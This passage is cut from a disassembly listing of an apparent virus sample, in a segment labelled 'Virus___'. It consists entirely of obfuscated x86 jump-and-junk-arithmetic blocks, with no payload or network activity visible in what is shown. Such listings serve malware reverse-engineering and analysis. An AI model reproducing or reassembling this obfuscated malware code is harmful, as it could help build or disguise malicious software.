; ---------------------------------------------------------------------------


loc_5890F4:				; CODE XREF: Virus___:005894CCj
		push	eax
		push	edx
		push	7D7h
		mov	[esp], esi
		push	ebp
		mov	ebp, 5A553162h
		jmp	loc_591303
; ---------------------------------------------------------------------------


loc_589109:				; CODE XREF: Virus___:00591F63j
		sub	eax, 7137CEFh
		add	eax, 69987224h
		add	eax, 69840B1Ah
		mov	ebx, [esp]
		add	esp, 4
		push	80Eh
		mov	[esp], ecx
		push	ebx
		jmp	loc_58B472
; ---------------------------------------------------------------------------


loc_58912C:				; CODE XREF: Virus___:00593C2Fj
		mov	[esp], ebx
		jmp	loc_57FAA9
; ---------------------------------------------------------------------------


loc_589134:				; CODE XREF: Virus___:00593447j
		add	ecx, 0FA052015h
		add	ebp, ecx
		jmp	loc_58B57F
; ---------------------------------------------------------------------------


loc_589141:				; CODE XREF: Virus___:0057FB15j
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		add	ebx, 2BBF0573h
		mov	eax, [esp]
		push	ecx
		jmp	loc_586059
; ---------------------------------------------------------------------------


loc_589155:				; CODE XREF: Virus___:0058C9FDj
		push	ebp
		jmp	loc_58D464
; ---------------------------------------------------------------------------


loc_58915B:				; CODE XREF: Virus___:0058B045j
		xchg	eax, [esp]
		jmp	loc_5876BF
; ---------------------------------------------------------------------------


loc_589163:				; CODE XREF: Virus___:00581C31j
		mov	[esp], edx
		jmp	loc_58F726
; ---------------------------------------------------------------------------


loc_58916B:				; CODE XREF: Virus___:0058AAADj
		mov	[esp], edx
		jmp	loc_57F464
; ---------------------------------------------------------------------------


loc_589173:				; CODE XREF: Virus___:00593BF5j
		add	esp, 4
		push	66E9h
		mov	[esp], edi
		push	2E06h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_58802C
; ---------------------------------------------------------------------------


loc_589190:				; CODE XREF: Virus___:0059196Dj
		dec	edx
		shr	edx, 3
		add	edx, 0E19D28F1h
		add	esi, edx
		pop	edx
		push	5998h
		mov	[esp], edi
		mov	edi, 5D7017F7h
		add	esi, edi
		jmp	loc_58E8E7
; ---------------------------------------------------------------------------


loc_5891B1:				; CODE XREF: Virus___:0058615Aj
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_584D34
; ---------------------------------------------------------------------------


loc_5891C8:				; CODE XREF: Virus___:0058F3DAj
		add	esp, 4
		push	eax
		jmp	loc_582D67
; ---------------------------------------------------------------------------


loc_5891D4:				; CODE XREF: Virus___:00585CDCj
		push	338A3A7Bh
		pop	ecx
		neg	ecx
		dec	ecx
		dec	ecx
		xor	ecx, 0CC75C587h
		mov	edx, ecx
		pop	ecx
		add	[esp+4], edx
		jmp	loc_593F98
; ---------------------------------------------------------------------------


loc_5891F0:				; CODE XREF: Virus___:005828DFj
		mov	edx, eax
		jmp	loc_593766
; ---------------------------------------------------------------------------


loc_5891F7:				; CODE XREF: Virus___:005902C4j
		and	ebx, ebp
		pop	ebp
		jmp	loc_5870C5
; ---------------------------------------------------------------------------


loc_5891FF:				; CODE XREF: Virus___:00580A27j
		add	ebp, 4
		jmp	loc_581F4C
; ---------------------------------------------------------------------------


loc_58920A:				; CODE XREF: Virus___:005838DFj
		shl	cl, 1
		sub	cl, 3
		and	cl, 1Bh
		add	cl, 4Bh
		add	al, cl
		pop	ecx
		push	ecx
		push	eax
		mov	al, 65h
		mov	ch, 0EAh
		push	eax
		jmp	loc_58C14C
; ---------------------------------------------------------------------------


loc_589224:				; CODE XREF: Virus___:0058DBFAj
		add	ebx, ebp
		jmp	loc_58CA0D
; ---------------------------------------------------------------------------


loc_58922B:				; CODE XREF: Virus___:00585213j
		mov	edi, eax
		pop	eax
		sub	edi, 0CF564AB7h
		jmp	loc_584DFE
; ---------------------------------------------------------------------------


loc_589239:				; CODE XREF: Virus___:0058BA10j
		add	ecx, 85FA9B98h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_591A30
; ---------------------------------------------------------------------------


loc_589247:				; CODE XREF: Virus___:00591189j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58227C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_58295D
; ---------------------------------------------------------------------------


loc_589262:				; CODE XREF: Virus___:00587FCAj
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		pop	esi
		push	0
		sub	[esp], ecx
		pop	ecx
		sub	ecx, 0FCA257Ah
		jmp	loc_5882B7
; ---------------------------------------------------------------------------


loc_58927D:				; CODE XREF: Virus___:0058B85Bj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58F932
; ---------------------------------------------------------------------------


loc_589289:				; CODE XREF: Virus___:0058A4D8j
		xchg	ecx, edi
		jmp	loc_5861EF
; ---------------------------------------------------------------------------


loc_589290:				; CODE XREF: Virus___:005880E7j
		shr	esi, 1
		xor	esi, 975C35F7h
		jmp	loc_57F8C5
; ---------------------------------------------------------------------------


loc_58929D:				; CODE XREF: Virus___:00591DDBj
		sub	ebp, 5E662702h
		jmp	loc_58F814
; ---------------------------------------------------------------------------


loc_5892A8:				; CODE XREF: Virus___:0059422Aj
		push	623Eh
		mov	[esp], eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5892B5:				; CODE XREF: Virus___:0059338Aj
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	2EC6195Ch
		jmp	loc_587015
; ---------------------------------------------------------------------------


loc_5892C7:				; CODE XREF: Virus___:0057F478j
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_58D89A
; ---------------------------------------------------------------------------


loc_5892D6:				; CODE XREF: Virus___:00585455j
		mov	edi, 891583B8h
		add	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		push	4245h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_58A09D
; ---------------------------------------------------------------------------


loc_5892F5:				; CODE XREF: Virus___:0058E38Aj
		and	eax, 30090BA4h
		inc	eax
		add	eax, 0CFFFF5DFh
		add	ebp, eax
		jmp	loc_58CDE8
; ---------------------------------------------------------------------------


loc_589307:				; CODE XREF: Virus___:0058B731j
		xor	[esp], dx
		not	dx
		xor	[esp], dx
		xor	dx, [esp]
		jmp	loc_58E53E
; ---------------------------------------------------------------------------


loc_58931B:				; CODE XREF: Virus___:00593DC6j
		push	eax
		mov	eax, 5B74551Eh
		push	esi
		jmp	loc_5812F9
; ---------------------------------------------------------------------------


loc_589327:				; CODE XREF: Virus___:005807DEj
		add	ebx, 76B98D60h
		xor	esi, ebx
		pop	ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		push	ebp
		jmp	loc_58346D
; ---------------------------------------------------------------------------


loc_58933A:				; CODE XREF: Virus___:005829A9j
		mov	[esp], ebx
		jmp	loc_58D4C1
; ---------------------------------------------------------------------------


loc_589342:				; CODE XREF: Virus___:0058DEC8j
		pop	ebp
		mov	eax, [esp]
		push	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_593E22
; ---------------------------------------------------------------------------


loc_589365:				; CODE XREF: Virus___:00583B0Aj
		or	esi, 5CE60339h
		shl	esi, 7
		shl	esi, 5
		xor	esi, 0ABBE25FCh
		add	ebp, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, ebp
		pop	ebp
		add	edx, 23C904C4h
		jmp	loc_590DB4
; ---------------------------------------------------------------------------


loc_589399:				; CODE XREF: Virus___:005837D8j
		add	edx, ebx
		push	361Eh
		mov	[esp], eax
		jmp	loc_584C56
; ---------------------------------------------------------------------------


loc_5893A8:				; CODE XREF: Virus___:0058C3A7j
		neg	esi
		xor	esi, 96EF65ACh
		add	ebp, esi
		jmp	loc_5812EB
; ---------------------------------------------------------------------------


loc_5893B7:				; CODE XREF: Virus___:00584204j
		xor	edi, ebp
		jmp	loc_584AC2
; ---------------------------------------------------------------------------


loc_5893BE:				; CODE XREF: Virus___:0058B22Fj
		add	al, 0E8h
		sub	al, 0AEh
		sub	esp, 2
		mov	[esp], dx
		mov	dh, 1Bh
		jmp	loc_59173A
; ---------------------------------------------------------------------------


loc_5893D3:				; CODE XREF: Virus___:0058142Ej
		add	esp, 4
		add	eax, ecx
		jmp	loc_58AA56
; ---------------------------------------------------------------------------


loc_5893DD:				; CODE XREF: Virus___:00586400j
		dec	ecx
		and	ecx, 49561F10h
		sub	ecx, 48021B0Ch
		jmp	loc_58EFF0
; ---------------------------------------------------------------------------


loc_5893EF:				; CODE XREF: Virus___:00584225j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 22BB53ACh
		mov	ecx, 0DA51F17h
		add	ecx, ebp
		pop	ebp
		xor	esi, ecx
		push	dword ptr [esp]
		jmp	loc_58C0F7
; ---------------------------------------------------------------------------


loc_58940F:				; CODE XREF: Virus___:00593C43j
		push	27D93ABCh
		pop	ebp
		inc	ebp
		jmp	loc_58649B
; ---------------------------------------------------------------------------


loc_58941B:				; CODE XREF: Virus___:005897ABj
		push	esi
		jmp	loc_586B12
; ---------------------------------------------------------------------------
		push	small 2648h
		mov	[esp], bx
		push	edx
		jmp	loc_58563D
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_5843DE
; ---------------------------------------------------------------------------


loc_58944E:				; CODE XREF: Virus___:00580CEDj
		sub	ecx, 714E5A7Fh
		add	ecx, ebp
		add	ecx, 714E5A7Fh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_581A4B
; ---------------------------------------------------------------------------


loc_58946A:				; CODE XREF: Virus___:005863E8j
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 294374E5h
		add	edx, edi
		push	ebp
		mov	ebp, 294374E5h
		sub	edx, ebp
		pop	ebp
		push	ebp
		push	esi
		mov	esi, 362A4208h
		jmp	loc_582BC8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		jmp	loc_5844DE
; ---------------------------------------------------------------------------


loc_58949D:				; CODE XREF: Virus___:00590737j
		add	al, 93h
		sub	bl, 5Fh
		add	bl, al
		push	ecx
		mov	ch, 5Fh
		jmp	loc_580032
; ---------------------------------------------------------------------------


loc_5894AC:				; CODE XREF: Virus___:0057F7B8j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5894BC:				; CODE XREF: Virus___:00582200j
		push	edi
		mov	edi, 6490E20h
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5890F4
; ---------------------------------------------------------------------------


loc_5894D1:				; CODE XREF: Virus___:00593742j
		mov	ebp, esp
		jmp	loc_588AC9
; ---------------------------------------------------------------------------


loc_5894D8:				; CODE XREF: Virus___:00588349j
		sub	eax, ebp
		pop	ebp
		jmp	loc_5851D5
; ---------------------------------------------------------------------------


loc_5894E0:				; CODE XREF: Virus___:00589FB2j
		xor	eax, 15DE7D24h
		shr	eax, 4
		xor	eax, 7B16BDD3h
		jmp	loc_589FDA
; ---------------------------------------------------------------------------


loc_5894F2:				; CODE XREF: Virus___:005853BDj
		pop	edi
		jmp	loc_58FC4B
; ---------------------------------------------------------------------------


loc_5894F8:				; CODE XREF: Virus___:005935C2j
		mov	edx, [esp]
		add	esp, 4
		add	edx, eax
		pop	eax
		jmp	loc_589D6E
; ---------------------------------------------------------------------------


loc_589506:				; CODE XREF: Virus___:005804F6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_593FB0
; ---------------------------------------------------------------------------


loc_589515:				; CODE XREF: Virus___:00592FCCj
		push	ebx
		mov	bh, ah
		jmp	loc_57FEC0
; ---------------------------------------------------------------------------


loc_58951D:				; CODE XREF: Virus___:00587899j
		xor	[esp], edx
		not	edx
		jmp	loc_58E5DE
; ---------------------------------------------------------------------------


loc_589527:				; CODE XREF: Virus___:0058D65Bj
		push	esi
		jmp	loc_590F20
; ---------------------------------------------------------------------------


loc_58952D:				; CODE XREF: Virus___:00591123j
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 156B70E5h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	129Ch
		mov	[esp], edi
		mov	edi, 9435B70h
		push	0
		jmp	loc_5910FE
; ---------------------------------------------------------------------------


loc_58955D:				; CODE XREF: Virus___:005939F7j
		add	eax, 17679FAh
		push	edi
		mov	edi, 735423F8h
		push	edi
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edi
		add	edi, 0F2898C40h
		add	eax, 19236E56h
		add	eax, edi
		jmp	loc_58469A
; ---------------------------------------------------------------------------


loc_589584:				; CODE XREF: Virus___:0058D5EAj
		push	eax
		jmp	loc_582A7D
; ---------------------------------------------------------------------------


loc_58958A:				; CODE XREF: Virus___:0058A6DCj
		add	al, 46h
		sub	al, 64h
		jmp	loc_58B1BF
; ---------------------------------------------------------------------------


loc_589593:				; CODE XREF: Virus___:00593683j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_593581
; ---------------------------------------------------------------------------


loc_58959F:				; CODE XREF: Virus___:00582C8Fj
		or	dh, al
		jmp	loc_591611
; ---------------------------------------------------------------------------


loc_5895A6:				; CODE XREF: Virus___:0058C73Bj
		add	edi, eax
		pop	eax
		push	3E02h
		mov	[esp], esi
		push	7A0Dh
		jmp	loc_582897
; ---------------------------------------------------------------------------


loc_5895BB:				; CODE XREF: Virus___:005845D1j
		xchg	eax, [esp]
		pop	esp
		xor	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, 38BD5F00h
		push	eax
		mov	eax, 4ECC3B0Ch
		sub	eax, 10DF7166h
		or	eax, 6E501FC1h
		add	eax, 0B0F5585Ah
		sub	ebx, eax
		pop	eax
		add	ebx, ebp
		add	ebx, 30F23841h
		sub	ebx, 38BD5F00h
		pop	ebp
		push	eax
		mov	eax, 2
		jmp	loc_59058B
; ---------------------------------------------------------------------------


loc_589603:				; CODE XREF: Virus___:00580954j
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 0F3D3F6B9h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 2
		push	ebx
		mov	ebx, 788E6B8Ah
		jmp	loc_5924A1
; ---------------------------------------------------------------------------


loc_589625:				; CODE XREF: Virus___:0058149Fj
		xor	eax, edx
		pop	edx
		jmp	loc_57FB9D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_582228
; ---------------------------------------------------------------------------


loc_589636:				; CODE XREF: Virus___:005829CAj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58D87B
; ---------------------------------------------------------------------------


loc_589644:				; CODE XREF: Virus___:00582BEFj
		mov	cl, bh
		pop	ebx
		add	bl, 60h
		add	bl, cl
		sub	bl, 60h
		jmp	loc_587BD0
; ---------------------------------------------------------------------------


loc_589654:				; CODE XREF: Virus___:00580D48j
		xor	edi, 1E6324CAh
		jmp	loc_587673
; ---------------------------------------------------------------------------


loc_58965F:				; CODE XREF: Virus___:0058EFACj
		mov	eax, 232A2DD7h
		xor	eax, ebx
		pop	ebx
		shr	eax, 1
		and	eax, 1456719Ah
		dec	eax
		shr	eax, 6
		jmp	loc_5828CE
; ---------------------------------------------------------------------------


loc_589677:				; CODE XREF: Virus___:0058B409j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	6720h
		mov	[esp], edi
		mov	edi, 5EF8765Ch
		xchg	edx, edi
		xchg	ebx, edx
		inc	ebx
		jmp	loc_5900B1
; ---------------------------------------------------------------------------


loc_589697:				; CODE XREF: Virus___:005897D5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_592FD1
; ---------------------------------------------------------------------------


loc_5896AC:				; CODE XREF: Virus___:0058459Ej
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_588658
; ---------------------------------------------------------------------------


loc_5896B6:				; CODE XREF: Virus___:00585A1Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5801B4
; ---------------------------------------------------------------------------


loc_5896C7:				; CODE XREF: Virus___:0058BBD9j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	0AE8h
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 29193D03h
		add	ebp, 2D9978B2h
		jmp	loc_591BE0
; ---------------------------------------------------------------------------


loc_5896FA:				; CODE XREF: Virus___:00582DCDj
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_585DE4
; ---------------------------------------------------------------------------


loc_589711:				; CODE XREF: Virus___:00586E55j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 4
		sub	ebp, 37C264CEh
		add	ebp, eax
		push	ecx
		jmp	loc_58AAF0
; ---------------------------------------------------------------------------


loc_58972E:				; CODE XREF: Virus___:00588311j
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 6D78661Bh
		jmp	loc_58B3EE
; ---------------------------------------------------------------------------


loc_589742:				; CODE XREF: Virus___:0058FDD6j
		pop	ebx
		push	ecx
		mov	ecx, 2A457A9Bh
		inc	ecx
		shl	ecx, 7
		xor	ecx, 52DF7287h
		add	ecx, 432A4181h
		add	ecx, 8BA1F7FEh
		add	edi, ecx
		jmp	loc_58E679
; ---------------------------------------------------------------------------


loc_589766:				; CODE XREF: Virus___:005940C5j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58ABF2
; ---------------------------------------------------------------------------


loc_589784:				; CODE XREF: Virus___:0058815Ej
		mov	edi, 4D331239h
		add	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		add	ebp, eax
		pop	eax
		push	eax
		jmp	loc_58C3AC
; ---------------------------------------------------------------------------


loc_589798:				; CODE XREF: Virus___:0058C1C8j
		mov	ebx, 7CC0FB0h
		add	ebx, 0E0FEC486h
		sub	ecx, 3CFB16A6h
		add	ecx, ebx
		jmp	loc_58941B
; ---------------------------------------------------------------------------


loc_5897B0:				; CODE XREF: Virus___:005890DCj
		add	ebp, edx
		jmp	loc_5875A6
; ---------------------------------------------------------------------------


loc_5897B7:				; CODE XREF: Virus___:0058D3D7j
		mov	eax, 45AF5B4Ch
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58C318
; ---------------------------------------------------------------------------


loc_5897CE:				; CODE XREF: Virus___:00586CEDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_589697
; ---------------------------------------------------------------------------


loc_5897DA:				; CODE XREF: Virus___:005916C0j
		add	edx, eax
		sub	edx, 1A5D0144h
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5897E7:				; CODE XREF: Virus___:00582FECj
		mov	eax, [esp]
		add	esp, 4
		push	6D28h
		mov	[esp], ecx
		push	5FF1h
		push	38F9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_58C931
; ---------------------------------------------------------------------------


loc_589811:				; CODE XREF: Virus___:0057FB1Cj
		mov	dl, 1
		add	dl, 9Bh
		add	dl, 62h
		mov	al, dl
		pop	edx
		sub	al, 0FFh
		not	al
		sub	al, 0AAh
		jmp	loc_58F127
; ---------------------------------------------------------------------------


loc_589827:				; CODE XREF: Virus___:0059357Cj
		push	272Ch
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_581578
; ---------------------------------------------------------------------------


loc_589839:				; CODE XREF: Virus___:0058C7B6j
		pop	esi
		or	edx, 5137454Eh
		jmp	loc_5922BA
; ---------------------------------------------------------------------------


loc_589845:				; CODE XREF: Virus___:005826DCj
		sub	ebp, 116F5490h
		not	ebp
		xor	ebp, 5E1CF6BEh
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, ebx
		push	dword ptr [esp]
		jmp	loc_583141
; ---------------------------------------------------------------------------


loc_589865:				; CODE XREF: Virus___:005848C4j
		push	edx
		mov	dl, bl
		jmp	loc_580B35
; ---------------------------------------------------------------------------


loc_58986D:				; CODE XREF: Virus___:0057F3CAj
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58B7A4
; ---------------------------------------------------------------------------


loc_589881:				; CODE XREF: Virus___:005879C6j
		push	ebp
		mov	ebp, 323C451Ah
		add	ebp, 1
		and	ebp, 68FB393Bh
		dec	ebp
		jmp	loc_590D4C
; ---------------------------------------------------------------------------


loc_589899:				; CODE XREF: Virus___:00587121j
		mov	ebx, 4
		jmp	loc_585F59
; ---------------------------------------------------------------------------


loc_5898A3:				; CODE XREF: Virus___:0058ED1Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_583F50
; ---------------------------------------------------------------------------


loc_5898BB:				; CODE XREF: Virus___:0058A0D4j
		add	dl, al
		pop	eax
		or	dl, 5Bh
		shl	dl, 3
		jmp	loc_58F8EE
; ---------------------------------------------------------------------------


loc_5898C9:				; CODE XREF: Virus___:0059271Bj
		xor	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		push	ebp
		mov	ebp, eax
		mov	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_581580
; ---------------------------------------------------------------------------


loc_5898EA:				; CODE XREF: Virus___:0058FB29j
		mov	eax, 2655046Ah
		or	esi, eax
		pop	eax
		jmp	loc_591751
; ---------------------------------------------------------------------------


loc_5898F7:				; CODE XREF: Virus___:005934D4j
		xor	ebp, ebx
		not	ebx
		xchg	ebx, ebp
		jmp	loc_58D43B
; ---------------------------------------------------------------------------


loc_589902:				; CODE XREF: Virus___:0057FB30j
		mov	esp, [esp]
		and	ecx, esi
		mov	esi, [esp]
		push	53FBh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_58F11A
; ---------------------------------------------------------------------------


loc_58992C:				; CODE XREF: Virus___:00583832j
		push	448Ah
		mov	[esp], eax
		mov	eax, 12B66515h
		inc	eax
		push	1551h
		jmp	loc_591128
; ---------------------------------------------------------------------------


loc_589944:				; CODE XREF: Virus___:0058892Dj
		add	esp, 4
		mov	al, ch
		jmp	loc_58E198
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 6DA44A30h
		shr	edx, 3
		shr	edx, 1
		jmp	loc_58DDF8
; ---------------------------------------------------------------------------


loc_589971:				; CODE XREF: Virus___:0058B932j
		xchg	edi, esi
		or	esi, 6C7F2268h
		sub	esi, 6D1E7AB6h
		shr	esi, 7
		add	esi, 939DDA2Fh
		add	esi, edx
		jmp	loc_581B0A
; ---------------------------------------------------------------------------


loc_58998F:				; CODE XREF: Virus___:005884A2j
		mov	esi, 6990221Ch
		jmp	loc_583DB5
; ---------------------------------------------------------------------------


loc_589999:				; CODE XREF: Virus___:0058A8AAj
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, eax
		push	ecx
		jmp	loc_592F65
; ---------------------------------------------------------------------------


loc_5899C5:				; CODE XREF: Virus___:005900FEj
		pop	edx
		jmp	loc_58C355
; ---------------------------------------------------------------------------


loc_5899CB:				; CODE XREF: Virus___:00587EFEj
		xor	edx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5899D8:				; CODE XREF: Virus___:00588E93j
		push	esi
		mov	esi, 6BFA4C73h
		xor	esi, 0D46DFF2Dh
		sub	edi, 34BD3CDAh
		sub	edi, esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_587D06
; ---------------------------------------------------------------------------


loc_5899FA:				; CODE XREF: Virus___:00592C3Aj
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_591F18
; ---------------------------------------------------------------------------


loc_589A1E:				; CODE XREF: Virus___:005869E7j
		pop	eax
		add	ebp, 455E0F54h
		xchg	ecx, ebp
		neg	ecx
		xchg	ecx, ebp
		sub	ebp, 0A703C19Bh
		add	esi, ebp
		pop	ebp
		add	ebx, 77F83536h
		add	ebx, esi
		push	ebp
		mov	ebp, 77F83536h
		sub	ebx, ebp
		jmp	loc_589EEC
; ---------------------------------------------------------------------------


loc_589A49:				; CODE XREF: Virus___:0058ED5Fj
		sub	ebp, 509957E9h
		pop	ecx
		jmp	loc_59030E
; ---------------------------------------------------------------------------


loc_589A55:				; CODE XREF: Virus___:0058DBA6j
		push	ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_589A5D:				; CODE XREF: Virus___:00592BCAj
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_589A68:				; CODE XREF: Virus___:00587128j
		pop	edx
		jmp	loc_58D553
; ---------------------------------------------------------------------------


loc_589A6E:				; CODE XREF: Virus___:0058E761j
		push	cx
		mov	cl, 18h
		sub	al, 0AEh
		sub	al, cl
		push	2B9Dh
		mov	[esp], ebx
		mov	bh, 36h
		sub	bh, 70h
		and	bh, 99h
		not	bh
		dec	bh
		or	bh, 81h
		push	eax
		mov	ah, 98h
		xor	ah, 0F9h
		shr	ah, 8
		neg	ah
		add	ah, 98h
		xor	bh, ah
		pop	eax
		neg	bh
		sub	bh, 0FFh
		shr	bh, 1
		not	bh
		jmp	loc_5883C6
; ---------------------------------------------------------------------------


loc_589AAC:				; CODE XREF: Virus___:00592636j
		push	edi
		push	2A41575Fh
		jmp	loc_5836C3
; ---------------------------------------------------------------------------


loc_589AB7:				; CODE XREF: Virus___:0057F984j
		push	edx
		mov	edx, esp
		jmp	loc_5867BB
; ---------------------------------------------------------------------------


loc_589ABF:				; CODE XREF: Virus___:0058FE7Bj
		shl	dh, 8
		shl	dh, 4
		sub	dh, 1
		xor	dh, 10h
		push	77ECh
		mov	[esp], ecx
		mov	ch, 0A9h
		add	ch, 0BCh
		xchg	dh, ch
		neg	dh
		xchg	dh, ch
		sub	ch, 20h
		add	al, ch
		jmp	loc_5831A3
; ---------------------------------------------------------------------------


loc_589AE8:				; CODE XREF: Virus___:0058A9E7j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_58F38E
; ---------------------------------------------------------------------------


loc_589AFB:				; CODE XREF: Virus___:00590FD9j
		mov	esi, 0AA81BF4h
		sub	esi, 3D4210Ah
		jmp	loc_583D67
; ---------------------------------------------------------------------------


loc_589B0B:				; CODE XREF: Virus___:00591B10j
		mov	[esp], ecx
		jmp	loc_58667E
; ---------------------------------------------------------------------------


loc_589B13:				; CODE XREF: Virus___:0058B5E4j
		mov	edx, 19964EC2h
		jmp	loc_588678
; ---------------------------------------------------------------------------


loc_589B1D:				; CODE XREF: Virus___:005847BEj
		xor	ecx, [esp]
		pop	esp
		push	4B8Fh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 438406A8h
		shl	ebp, 8
		add	ebp, 3C5843E6h
		not	ebp
		jmp	loc_583672
; ---------------------------------------------------------------------------


loc_589B47:				; CODE XREF: Virus___:0058ACB5j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_58DB93
; ---------------------------------------------------------------------------


loc_589B4F:				; CODE XREF: Virus___:0058790Cj
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_583C24
; ---------------------------------------------------------------------------


loc_589B62:				; CODE XREF: Virus___:00586713j
		add	eax, 2E23FF30h
		sub	edx, eax
		pop	eax
		jmp	loc_5909BA
; ---------------------------------------------------------------------------


loc_589B6F:				; CODE XREF: Virus___:00594218j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58A0B0
; ---------------------------------------------------------------------------


loc_589B83:				; CODE XREF: Virus___:00581899j
		mov	[esp], ebp
		mov	ebp, 68090130h
		shr	ebp, 5
		dec	ebp
		jmp	loc_588037
; ---------------------------------------------------------------------------


loc_589B94:				; CODE XREF: Virus___:0058D03Fj
		push	esp
		jmp	loc_58CF0C
; ---------------------------------------------------------------------------


loc_589B9A:				; CODE XREF: Virus___:0058E3EEj
		push	ecx
		mov	ecx, 56BB001Ch
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
